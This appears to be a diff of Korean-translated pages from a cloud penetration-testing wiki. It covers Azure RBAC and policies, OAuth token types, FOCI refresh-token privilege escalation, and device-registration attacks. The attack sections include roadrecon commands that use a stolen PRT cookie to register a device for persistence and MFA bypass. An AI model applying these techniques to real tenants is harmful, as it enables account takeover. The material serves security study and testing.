+237,7 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 ### 내장 역할 -[문서에서: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure 역할 기반 액세스 제어(Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview)에는 **사용자, 그룹, 서비스 주체 및 관리형 아이덴티티**에 **할당**할 수 있는 여러 Azure **내장 역할**이 있습니다. 역할 할당은 **Azure 리소스에 대한 액세스를 제어하는 방법**입니다. 내장 역할이 조직의 특정 요구를 충족하지 않는 경우, [**Azure 사용자 정의 역할**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**을 생성할 수 있습니다.** +[문서에서: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure 역할 기반 액세스 제어(Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview)에는 **사용자, 그룹, 서비스 주체 및 관리형 아이덴티티**에 할당할 수 있는 여러 Azure **내장 역할**이 있습니다. 역할 할당은 **Azure 리소스에 대한 액세스를 제어하는 방법**입니다. 내장 역할이 조직의 특정 요구를 충족하지 않는 경우, [**Azure 사용자 정의 역할**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**을 생성할 수 있습니다.** **내장** 역할은 **의도된 리소스**에만 적용됩니다. 예를 들어, **Compute** 리소스에 대한 내장 역할의 두 가지 예를 확인하세요: @@ -245,17 +245,17 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | | [가상 머신 사용자 로그인](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | 포털에서 가상 머신을 보고 일반 사용자로 로그인합니다. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -이 역할은 **논리 컨테이너**(관리 그룹, 구독 및 리소스 그룹 등)에도 **할당**될 수 있으며, 영향을 받는 주체는 **해당 컨테이너 내의 리소스에 대해 역할을 갖게 됩니다**. +이 역할은 **관리 그룹, 구독 및 리소스 그룹**과 같은 논리적 컨테이너에 대해서도 할당할 수 있으며, 영향을 받는 주체는 **해당 컨테이너 내의 리소스에 대해 역할을 갖게 됩니다**. - [**모든 Azure 내장 역할**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) 목록을 확인하세요. - [**모든 Entra ID 내장 역할**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) 목록을 확인하세요. ### 사용자 정의 역할 -- [**사용자 정의 역할**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)을 생성하는 것도 가능합니다. -- 이는 범위 내에서 생성되며, 역할은 여러 범위(관리 그룹, 구독 및 리소스 그룹)에 있을 수 있습니다. +- [**사용자 정의 역할**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)을 생성할 수도 있습니다. +- 이들은 범위 내에서 생성되며, 역할은 여러 범위(관리 그룹, 구독 및 리소스 그룹)에 있을 수 있습니다. - 사용자 정의 역할이 가질 모든 세부 권한을 구성할 수 있습니다. -- 권한을 제외할 수도 있습니다. +- 권한을 제외할 수 있습니다. - 제외된 권한이 있는 주체는 다른 곳에서 권한이 부여되더라도 이를 사용할 수 없습니다. - 와일드카드를 사용할 수 있습니다. - 사용되는 형식은 JSON입니다. @@ -292,47 +292,47 @@ Azure Active Directory의 관리형 아이덴티티는 **애플리케이션의 } } ``` -### Permissions order +### 권한 순서 -- **리소스에 대한 접근 권한을 가지려면** 주체는 그에게 명시적으로 역할이 부여되어야 하며(어떤 방식으로든) **그 권한을 부여받아야 합니다**. +- **주체가 리소스에 대한 접근 권한을 가지려면** 그에게 명시적인 역할이 부여되어야 하며 (어떤 방식으로든) **그 권한을 부여해야 합니다**. - 명시적인 **거부 역할 할당이 권한을 부여하는 역할보다 우선합니다**.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

-### Global Administrator +### 글로벌 관리자 -Global Administrator는 **Entra ID 테넌트에 대한 완전한 제어 권한을 부여하는 역할**입니다. 그러나 기본적으로 Azure 리소스에 대한 권한은 부여하지 않습니다. +글로벌 관리자는 **Entra ID 테넌트에 대한 완전한 제어 권한을 부여하는** Entra ID의 역할입니다. 그러나 기본적으로 Azure 리소스에 대한 권한은 부여하지 않습니다. -Global Administrator 역할을 가진 사용자는 **Root Management Group에서 User Access Administrator Azure 역할로 '승격'할 수 있는 능력**을 가지고 있습니다. 따라서 Global Administrators는 **모든 Azure 구독 및 관리 그룹에서 접근을 관리할 수 있습니다.**\ +글로벌 관리자 역할을 가진 사용자는 **루트 관리 그룹에서 사용자 액세스 관리자 Azure 역할로 '승격'할 수 있는 능력**을 가지고 있습니다. 따라서 글로벌 관리자는 **모든 Azure 구독 및 관리 그룹에서 접근을 관리할 수 있습니다.**\ 이 승격은 페이지 하단에서 수행할 수 있습니다: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
-### Azure Policies +### Azure 정책 -**Azure Policies**는 조직이 리소스가 특정 기준 및 준수 요구 사항을 충족하도록 돕는 규칙입니다. 이들은 Azure의 리소스에 대한 설정을 **강제 적용하거나 감사할 수 있게 해줍니다**. 예를 들어, 허가되지 않은 지역에서 가상 머신의 생성을 방지하거나 모든 리소스가 추적을 위한 특정 태그를 갖도록 보장할 수 있습니다. +**Azure 정책**은 조직이 리소스가 특정 기준 및 준수 요구 사항을 충족하도록 돕는 규칙입니다. 이들은 **Azure의 리소스에 대한 설정을 시행하거나 감사할 수 있게 해줍니다**. 예를 들어, 허가되지 않은 지역에서 가상 머신의 생성을 방지하거나 모든 리소스에 특정 태그가 있어 추적할 수 있도록 보장할 수 있습니다. -Azure Policies는 **선제적**입니다: 비준수 리소스의 생성이나 변경을 중단할 수 있습니다. 또한 **반응적**으로, 기존의 비준수 리소스를 찾아 수정할 수 있습니다. +Azure 정책은 **적극적**입니다: 비준수 리소스의 생성이나 변경을 중단할 수 있습니다. 또한 **반응적**으로, 기존의 비준수 리소스를 찾아 수정할 수 있습니다. -#### **Key Concepts** +#### **핵심 개념** 1. **정책 정의**: 허용되거나 요구되는 사항을 명시하는 JSON으로 작성된 규칙입니다. 2. **정책 할당**: 특정 범위(예: 구독, 리소스 그룹)에 정책을 적용하는 것입니다. -3. **이니셔티브**: 더 넓은 강제를 위해 함께 그룹화된 정책 모음입니다. -4. **효과**: 정책이 트리거될 때 발생하는 일을 명시합니다(예: "거부", "감사" 또는 "추가"). +3. **이니셔티브**: 더 넓은 시행을 위해 그룹화된 정책 모음입니다. +4. **효과**: 정책이 트리거될 때 발생하는 일을 명시합니다 (예: "거부", "감사" 또는 "추가"). **몇 가지 예시:** -1. **특정 Azure 지역 준수 보장**: 이 정책은 모든 리소스가 특정 Azure 지역에 배포되도록 보장합니다. 예를 들어, 회사는 GDPR 준수를 위해 모든 데이터를 유럽에 저장하도록 보장할 수 있습니다. -2. **명명 기준 강제 적용**: 정책은 Azure 리소스에 대한 명명 규칙을 강제할 수 있습니다. 이는 대규모 환경에서 리소스를 이름에 따라 조직하고 쉽게 식별하는 데 도움이 됩니다. +1. **특정 Azure 지역 준수 보장**: 이 정책은 모든 리소스가 특정 Azure 지역에 배포되도록 보장합니다. 예를 들어, 회사는 GDPR 준수를 위해 모든 데이터를 유럽에 저장하고 싶어할 수 있습니다. +2. **명명 기준 시행**: 정책은 Azure 리소스에 대한 명명 규칙을 시행할 수 있습니다. 이는 대규모 환경에서 리소스를 이름에 따라 조직하고 쉽게 식별하는 데 도움이 됩니다. 3. **특정 리소스 유형 제한**: 이 정책은 특정 유형의 리소스 생성을 제한할 수 있습니다. 예를 들어, 비용을 통제하기 위해 특정 VM 크기와 같은 비싼 리소스 유형의 생성을 방지하는 정책을 설정할 수 있습니다. -4. **태그 정책 강제 적용**: 태그는 리소스 관리에 사용되는 Azure 리소스와 관련된 키-값 쌍입니다. 정책은 모든 리소스에 대해 특정 태그가 존재해야 하거나 특정 값을 가져야 한다고 강제할 수 있습니다. 이는 비용 추적, 소유권 또는 리소스 분류에 유용합니다. -5. **리소스에 대한 공개 접근 제한**: 정책은 특정 리소스(예: 스토리지 계정 또는 데이터베이스)가 공개 엔드포인트를 가지지 않도록 강제하여 조직의 네트워크 내에서만 접근 가능하도록 보장할 수 있습니다. -6. **보안 설정 자동 적용**: 정책은 모든 VM에 특정 네트워크 보안 그룹을 적용하거나 모든 스토리지 계정이 암호화를 사용하도록 보장하는 등 리소스에 보안 설정을 자동으로 적용하는 데 사용할 수 있습니다. +4. **태그 정책 시행**: 태그는 리소스 관리에 사용되는 Azure 리소스와 관련된 키-값 쌍입니다. 정책은 모든 리소스에 특정 태그가 존재해야 하거나 특정 값을 가져야 한다고 시행할 수 있습니다. 이는 비용 추적, 소유권 또는 리소스 분류에 유용합니다. +5. **리소스에 대한 공개 접근 제한**: 정책은 특정 리소스(예: 스토리지 계정 또는 데이터베이스)가 공개 엔드포인트를 가지지 않도록 시행할 수 있으며, 이를 통해 조직의 네트워크 내에서만 접근할 수 있도록 보장합니다. +6. **보안 설정 자동 적용**: 정책은 모든 VM에 특정 네트워크 보안 그룹을 적용하거나 모든 스토리지 계정이 암호화를 사용하도록 보장하는 등 리소스에 보안 설정을 자동으로 적용하는 데 사용될 수 있습니다. -Azure Policies는 Azure 계층의 모든 수준에 첨부될 수 있지만, **일반적으로 루트 관리 그룹**이나 다른 관리 그룹에서 사용됩니다. +Azure 정책은 Azure 계층의 모든 수준에 첨부될 수 있지만, **일반적으로 루트 관리 그룹**이나 다른 관리 그룹에서 사용됩니다. -Azure policy json example: +Azure 정책 JSON 예시: ```json { "policyRule": { @@ -360,11 +360,11 @@ Azure **권한은 계층의 어떤 부분에도 할당될 수 있습니다**. ### Azure RBAC vs ABAC -**RBAC** (역할 기반 접근 제어)는 우리가 이전 섹션에서 이미 본 것입니다: **리소스에 대한 접근을 부여하기 위해 주체에게 역할을 할당하는 것**입니다.\ +**RBAC** (역할 기반 접근 제어)는 우리가 이전 섹션에서 이미 본 것입니다: **리소스에 대한 접근을 부여하기 위해 주체에 역할을 할당하는 것**입니다.\ 그러나 경우에 따라 **더 세분화된 접근 관리**를 제공하거나 **수백 개의** 역할 **할당** 관리를 **단순화**하고 싶을 수 있습니다. -Azure **ABAC** (속성 기반 접근 제어)는 특정 작업의 맥락에서 **속성을 기반으로 한 역할 할당 조건**을 추가하여 Azure RBAC를 기반으로 합니다. _역할 할당 조건_은 **더 세분화된 접근 제어를 제공하기 위해 역할 할당에 선택적으로 추가할 수 있는 추가 검사**입니다. 조건은 역할 정의 및 역할 할당의 일환으로 부여된 권한을 필터링합니다. 예를 들어, **객체를 읽기 위해 특정 태그가 있어야 한다는 조건을 추가할 수 있습니다**.\ -조건을 사용하여 특정 리소스에 대한 **접근을 명시적으로 **거부**할 수는 **없습니다**. +Azure **ABAC** (속성 기반 접근 제어)는 특정 작업의 맥락에서 **속성을 기반으로 한 역할 할당 조건**을 추가하여 Azure RBAC를 기반으로 합니다. _역할 할당 조건_은 **더 세분화된 접근 제어를 제공하기 위해 역할 할당에 선택적으로 추가할 수 있는 추가 검사**입니다. 조건은 역할 정의 및 역할 할당의 일부로 부여된 권한을 필터링합니다. 예를 들어, **객체를 읽기 위해 특정 태그가 있어야 한다는 조건을 추가할 수 있습니다**.\ +조건을 사용하여 특정 리소스에 대한 접근을 **명시적으로 거부할 수는 없습니다**. ## 참고 문헌 diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 6ffdcf319..ba23af028 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,7 +4,7 @@ ## Basic Information -Entra ID는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관리(IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스의 기본 인증 및 권한 부여 시스템 역할을 합니다. Azure AD는 리소스에 대한 액세스를 관리하기 위해 OAuth 2.0 권한 부여 프레임워크와 OpenID Connect (OIDC) 인증 프로토콜을 구현합니다. +Entra ID는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관리(IAM) 플랫폼으로, Microsoft 365 및 Azure Resource Manager와 같은 서비스의 기본 인증 및 권한 부여 시스템 역할을 합니다. Azure AD는 OAuth 2.0 권한 부여 프레임워크와 OpenID Connect (OIDC) 인증 프로토콜을 구현하여 리소스에 대한 액세스를 관리합니다. ### OAuth @@ -17,15 +17,15 @@ Entra ID는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관 **범위 및 동의:** -- **범위:** 액세스 수준을 지정하는 리소스 서버에서 정의된 세분화된 권한입니다. +- **범위:** 리소스 서버에서 정의된 세분화된 권한으로, 액세스 수준을 지정합니다. - **동의:** 리소스 소유자가 특정 범위로 리소스에 접근할 수 있도록 클라이언트 애플리케이션에 권한을 부여하는 과정입니다. **Microsoft 365 통합:** -- Microsoft 365는 IAM을 위해 Azure AD를 사용하며 여러 "1차" OAuth 애플리케이션으로 구성됩니다. +- Microsoft 365는 IAM을 위해 Azure AD를 활용하며, 여러 "1차" OAuth 애플리케이션으로 구성됩니다. - 이러한 애플리케이션은 깊이 통합되어 있으며 종종 상호 의존적인 서비스 관계를 가집니다. - 사용자 경험을 단순화하고 기능을 유지하기 위해 Microsoft는 이러한 1차 애플리케이션에 "암묵적 동의" 또는 "사전 동의"를 부여합니다. -- **암묵적 동의:** 특정 애플리케이션은 명시적인 사용자 또는 관리자 승인 없이 특정 범위에 대한 **액세스를 자동으로 부여받습니다**. +- **암묵적 동의:** 특정 애플리케이션은 명시적인 사용자 또는 관리자 승인 없이 특정 범위에 대한 액세스를 자동으로 **부여받습니다**. - 이러한 사전 동의된 범위는 일반적으로 사용자와 관리자 모두에게 숨겨져 있어 표준 관리 인터페이스에서 덜 보입니다. **클라이언트 애플리케이션 유형:** @@ -42,12 +42,12 @@ Entra ID는 Microsoft의 클라우드 기반 아이덴티티 및 액세스 관 OIDC에서 사용되는 **세 가지 유형의 토큰**이 있습니다: -- [**액세스 토큰**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트가 리소스 서버에 이 토큰을 제시하여 **리소스에 접근**합니다. 특정 사용자, 클라이언트 및 리소스의 조합에 대해서만 사용할 수 있으며 **만료될 때까지 취소할 수 없습니다** - 기본적으로 1시간입니다. -- **ID 토큰**: 클라이언트가 **권한 부여 서버로부터 이 토큰을 받습니다**. 사용자에 대한 기본 정보를 포함하고 있습니다. 특정 사용자와 클라이언트의 조합에 **바인딩되어 있습니다**. -- **리프레시 토큰**: 액세스 토큰과 함께 클라이언트에 제공됩니다. **새 액세스 및 ID 토큰을 얻는 데 사용됩니다**. 특정 사용자와 클라이언트의 조합에 바인딩되어 있으며 취소할 수 있습니다. 비활성 리프레시 토큰의 기본 만료는 **90일**이며, 활성 토큰은 **만료되지 않습니다** (리프레시 토큰에서 새 리프레시 토큰을 얻는 것이 가능합니다). -- 리프레시 토큰은 **`aud`**, 특정 **범위**, 및 **테넌트**에 연결되어야 하며, 해당 aud, 범위(그리고 그 이상은 아님) 및 테넌트에 대한 액세스 토큰만 생성할 수 있어야 합니다. 그러나 **FOCI 애플리케이션 토큰**의 경우는 그렇지 않습니다. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** 클라이언트가 리소스 서버에 이 토큰을 제시하여 **리소스에 접근**합니다. 특정 사용자, 클라이언트 및 리소스의 조합에 대해서만 사용할 수 있으며 **만료될 때까지 취소할 수 없습니다** - 기본적으로 1시간입니다. +- **ID Tokens**: 클라이언트가 **권한 부여 서버로부터 이 토큰을 받습니다**. 사용자에 대한 기본 정보를 포함하고 있으며, **특정 사용자와 클라이언트의 조합에 바인딩됩니다**. +- **Refresh Tokens**: 액세스 토큰과 함께 클라이언트에 제공됩니다. **새로운 액세스 및 ID 토큰을 얻는 데 사용됩니다**. 특정 사용자와 클라이언트의 조합에 바인딩되며 취소할 수 있습니다. 기본 만료는 **비활성 리프레시 토큰의 경우 90일**이며 **활성 토큰의 경우 만료가 없습니다** (리프레시 토큰에서 새로운 리프레시 토큰을 얻는 것이 가능합니다). +- 리프레시 토큰은 **`aud`**, 특정 **범위** 및 **테넌트**에 연결되어야 하며, 해당 aud, 범위(그리고 그 이상) 및 테넌트에 대한 액세스 토큰만 생성할 수 있어야 합니다. 그러나 **FOCI 애플리케이션 토큰**의 경우는 그렇지 않습니다. - 리프레시 토큰은 암호화되어 있으며 Microsoft만 이를 복호화할 수 있습니다. -- 새 리프레시 토큰을 얻는 것은 이전 리프레시 토큰을 취소하지 않습니다. +- 새로운 리프레시 토큰을 얻는 것은 이전 리프레시 토큰을 취소하지 않습니다. > [!WARNING] > **조건부 액세스**에 대한 정보는 **JWT** 내부에 **저장됩니다**. 따라서 **허용된 IP 주소**에서 **토큰을 요청**하면 해당 **IP**가 토큰에 **저장되며**, 이후 **허용되지 않은 IP에서 리소스에 접근하기 위해** 해당 토큰을 사용할 수 있습니다. @@ -56,7 +56,7 @@ OIDC에서 사용되는 **세 가지 유형의 토큰**이 있습니다: "aud" 필드에 표시된 필드는 **리소스 서버**(애플리케이션)로, 로그인 수행에 사용됩니다. -명령어 `az account get-access-token --resource-type [...]`는 다음 유형을 지원하며, 각 유형은 결과 액세스 토큰에 특정 "aud"를 추가합니다: +명령어 `az account get-access-token --resource-type [...]`는 다음 유형을 지원하며, 각각은 결과 액세스 토큰에 특정 "aud"를 추가합니다: > [!CAUTION] > 다음은 `az account get-access-token`에서 지원하는 API일 뿐이며, 더 많은 API가 있습니다. @@ -65,10 +65,10 @@ OIDC에서 사용되는 **세 가지 유형의 토큰**이 있습니다: aud 예시 -- **aad-graph (Azure Active Directory Graph API)**: 애플리케이션이 Azure Active Directory(Azure AD)에서 디렉터리 데이터를 읽고 쓸 수 있도록 하는 레거시 Azure AD Graph API(사용 중단됨)에 접근하는 데 사용됩니다. +- **aad-graph (Azure Active Directory Graph API)**: 레거시 Azure AD Graph API(사용 중단됨)에 접근하는 데 사용되며, 애플리케이션이 Azure Active Directory(Azure AD)에서 디렉터리 데이터를 읽고 쓸 수 있도록 합니다. - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등을 생성, 업데이트 및 삭제하는 작업이 포함됩니다. +* **arm (Azure Resource Manager)**: Azure Resource Manager API를 통해 Azure 리소스를 관리하는 데 사용됩니다. 여기에는 가상 머신, 스토리지 계정 등과 같은 리소스를 생성, 업데이트 및 삭제하는 작업이 포함됩니다. - `https://management.core.windows.net/ or https://management.azure.com/` - **batch (Azure Batch Services)**: 클라우드에서 대규모 병렬 및 고성능 컴퓨팅 애플리케이션을 효율적으로 실행할 수 있도록 하는 Azure Batch에 접근하는 데 사용됩니다. @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -145,19 +144,19 @@ scopes=["https://graph.microsoft.com/.default"], ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` -## FOCI 토큰 권한 상승 +## FOCI Tokens Privilege Escalation -이전에 언급했듯이, 리프레시 토큰은 생성된 **스코프**와 **애플리케이션** 및 **테넌트**에 연결되어야 합니다. 이러한 경계 중 하나라도 깨지면, 사용자가 접근할 수 있는 다른 리소스와 테넌트에 대한 액세스 토큰을 생성할 수 있으므로 권한 상승이 가능해집니다. 이는 원래 의도된 것보다 더 많은 스코프를 가질 수 있습니다. +이전에 refresh tokens는 생성된 **scopes**, **application**, 및 **tenant**에 연결되어야 한다고 언급되었습니다. 이러한 경계 중 하나라도 깨지면, 사용자가 접근할 수 있는 다른 리소스와 테넌트에 대한 access tokens를 생성할 수 있으므로 권한 상승이 가능해집니다. 이는 원래 의도된 것보다 더 많은 scopes를 가질 수 있습니다. -게다가, **이는 모든 리프레시 토큰에 대해 가능합니다** [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra 계정, Microsoft 개인 계정, Facebook 및 Google과 같은 소셜 계정)에서, 왜냐하면 [**문서**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)에서 언급하듯이: "리프레시 토큰은 사용자와 클라이언트의 조합에 바인딩되지만, **리소스나 테넌트에 묶여 있지 않습니다**. 클라이언트는 리프레시 토큰을 사용하여 **권한이 있는 모든 리소스와 테넌트의 조합에서** 액세스 토큰을 획득할 수 있습니다. 리프레시 토큰은 암호화되어 있으며 Microsoft identity platform만 읽을 수 있습니다." +게다가, **이것은 모든 refresh tokens에 대해 가능합니다** [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra 계정, Microsoft 개인 계정, Facebook 및 Google과 같은 소셜 계정)에서, 왜냐하면 [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)에서 언급하듯이: "Refresh tokens는 사용자와 클라이언트의 조합에 바인딩되지만, **리소스나 테넌트에 묶여 있지 않습니다**. 클라이언트는 권한이 있는 모든 리소스와 테넌트의 조합에서 access tokens를 얻기 위해 refresh token을 사용할 수 있습니다. Refresh tokens는 암호화되어 있으며 Microsoft identity platform만 읽을 수 있습니다." 또한, FOCI 애플리케이션은 공개 애플리케이션이므로 **서버에 인증하기 위해 비밀이 필요하지 않습니다**. -그런 다음 [**원본 연구**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에서 보고된 알려진 FOCI 클라이언트는 [**여기서 찾을 수 있습니다**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +그런 다음 [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main)에서 보고된 알려진 FOCI 클라이언트는 [**여기서**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) 찾을 수 있습니다. -### 다른 스코프 가져오기 +### Get different scope -이전 예제 코드를 따라, 이 코드에서는 다른 스코프에 대한 새 토큰을 요청합니다: +이전 예제 코드를 따라, 이 코드에서는 다른 scope에 대한 새로운 token을 요청합니다: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index cbe20d0b0..bad3e2251 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -4,17 +4,17 @@ ## Basic Information -장치가 AzureAD에 가입할 때 AzureAD에 새로운 객체가 생성됩니다. +장치가 AzureAD에 가입하면 AzureAD에 새로운 객체가 생성됩니다. -장치를 등록할 때, **사용자는 자신의 계정으로 로그인하라는 요청을 받습니다** (필요한 경우 MFA 요청), 그런 다음 장치 등록 서비스에 대한 토큰을 요청하고 마지막 확인 프롬프트를 요청합니다. +장치를 등록할 때, **사용자는 자신의 계정으로 로그인하라는 요청을 받습니다** (필요한 경우 MFA 요청), 그 다음 장치 등록 서비스에 대한 토큰을 요청하고 마지막 확인 프롬프트를 요청합니다. -그런 다음, 장치에서 두 개의 RSA 키 쌍이 생성됩니다: **장치 키** (**공개** 키)는 **AzureAD**에 전송되고 **전송** 키 (**개인** 키)는 가능하면 TPM에 저장됩니다. +그 후, 장치에서 두 개의 RSA 키 쌍이 생성됩니다: **장치 키** (**공개** 키)는 **AzureAD**에 전송되고, **전송** 키 (**개인** 키)는 가능하면 TPM에 저장됩니다. -그런 다음, **객체**가 **AzureAD**에서 생성되고 (Intune에서는 아님) AzureAD는 장치에 서명된 **인증서**를 반환합니다. **장치가 AzureAD에 가입되어 있는지** 및 **인증서**에 대한 정보(예: TPM으로 보호되는지 여부)를 확인할 수 있습니다. +그 후, **객체**가 **AzureAD**에서 생성되고 (Intune이 아님) AzureAD는 장치에 서명된 **인증서**를 반환합니다. **장치가 AzureAD에 가입되었는지** 및 **인증서**에 대한 정보(예: TPM으로 보호되는지 여부)를 확인할 수 있습니다. ```bash dsregcmd /status ``` -장치 등록 후 **Primary Refresh Token**이 LSASS CloudAP 모듈에 의해 요청되고 장치에 제공됩니다. PRT와 함께 **장치만 복호화할 수 있도록 암호화된 세션 키**도 제공되며, **PRT를 사용하기 위해 필요합니다.** +장치 등록 후 **Primary Refresh Token**이 LSASS CloudAP 모듈에 의해 요청되고 장치에 제공됩니다. PRT와 함께 **장치만 복호화할 수 있도록 암호화된 세션 키**도 제공되며, 이는 **PRT를 사용하기 위해 필요합니다.** PRT에 대한 자세한 정보는 다음을 확인하세요: @@ -24,10 +24,10 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - 신뢰할 수 있는 플랫폼 모듈 -**TPM**은 전원이 꺼진 장치에서 키 **추출**을 방지하고 (PIN으로 보호된 경우) OS 계층에서 개인 정보를 추출하는 것을 **보호**합니다.\ -하지만 **TPM과 CPU 사이의 물리적 연결을 스니핑**하거나 시스템이 실행 중일 때 **SYSTEM** 권한을 가진 프로세스에서 TPM의 **암호화 자료**를 사용하는 것에 대해서는 **보호하지 않습니다.** +**TPM**은 전원이 꺼진 장치에서 키 **추출**을 방지하고(핀으로 보호되는 경우) OS 계층에서 개인 정보를 추출하는 것을 **보호**합니다.\ +하지만 **TPM과 CPU 간의 물리적 연결을 스니핑**하거나 **SYSTEM** 권한을 가진 프로세스가 실행 중인 시스템에서 TPM의 암호화 자료를 **사용하는 것**에 대해서는 **보호하지 않습니다.** -다음 페이지를 확인하면 **PRT를 훔치는 것**이 **사용자**처럼 접근하는 데 사용될 수 있다는 것을 알 수 있습니다. 이는 **PRT가 장치에 위치**하므로 장치에서 훔칠 수 있거나 (훔치지 않고도 새로운 서명 키를 생성하는 데 악용될 수 있습니다): +다음 페이지를 확인하면 **PRT를 훔치는 것**이 **사용자**처럼 접근하는 데 사용될 수 있다는 것을 알 수 있습니다. 이는 **PRT가 장치에 위치**하므로 장치에서 훔칠 수 있거나(또는 훔치지 않고도 새로운 서명 키를 생성하는 데 악용될 수 있습니다): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -35,7 +35,7 @@ az-lateral-movement-cloud-on-prem/pass-the-prt.md ## SSO 토큰으로 장치 등록하기 -공격자가 손상된 장치에서 Microsoft 장치 등록 서비스에 대한 토큰을 요청하고 등록하는 것이 가능할 것입니다: +공격자가 손상된 장치에서 Microsoft 장치 등록 서비스에 대한 토큰을 요청하고 등록하는 것이 가능할 수 있습니다: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -어떤 것이 **미래에 PRT를 요청하는 데 사용할 수 있는 인증서를 제공합니다**. 따라서 지속성을 유지하고 **MFA를 우회**할 수 있습니다. 왜냐하면 새 장치를 등록하는 데 사용된 원래 PRT 토큰은 **이미 MFA 권한이 부여되었기 때문입니다**. +어떤 것이 **미래에 PRT를 요청하는 데 사용할 수 있는 인증서를 제공합니다**. 따라서 지속성을 유지하고 **MFA를 우회**할 수 있습니다. 왜냐하면 새 장치를 등록하는 데 사용된 원래 PRT 토큰이 **이미 MFA 권한이 부여되었기 때문입니다**. > [!TIP] > 이 공격을 수행하려면 **새 장치를 등록할 수 있는 권한**이 필요합니다. 또한, 장치를 등록한다고 해서 해당 장치가 **Intune에 등록될 수 있는 것은 아닙니다**. @@ -57,7 +57,7 @@ registerdevice.py ## 장치 티켓 덮어쓰기 -**장치 티켓을 요청하고**, 현재 장치의 티켓을 **덮어쓰고**, 흐름 중에 **PRT를 훔치는** 것이 가능했습니다(따라서 TPM에서 훔칠 필요가 없습니다. 자세한 내용은 [**이 강연을 확인하세요**](https://youtu.be/BduCn8cLV1A)). +**장치 티켓을 요청하고**, 장치의 현재 티켓을 **덮어쓰며**, 흐름 중에 **PRT를 훔치는** 것이 가능했습니다(따라서 TPM에서 훔칠 필요가 없습니다. 자세한 내용은 [**이 강연을 확인하세요**](https://youtu.be/BduCn8cLV1A)).
@@ -66,27 +66,27 @@ registerdevice.py ## WHFB 키 덮어쓰기 -[**원본 슬라이드를 여기서 확인하세요**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**원본 슬라이드를 여기에서 확인하세요**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) 공격 요약: - **SSO를 통해** **등록된 WHFB** 키를 **덮어쓸 수 있습니다** -- 이는 **TPM 보호를 무력화**하며, 키는 **새 키 생성 중에 스니핑됩니다** +- 이는 **TPM 보호를 무력화**하며, 키가 **새 키 생성 중에 스니핑됩니다** - 이것은 또한 **지속성**을 제공합니다
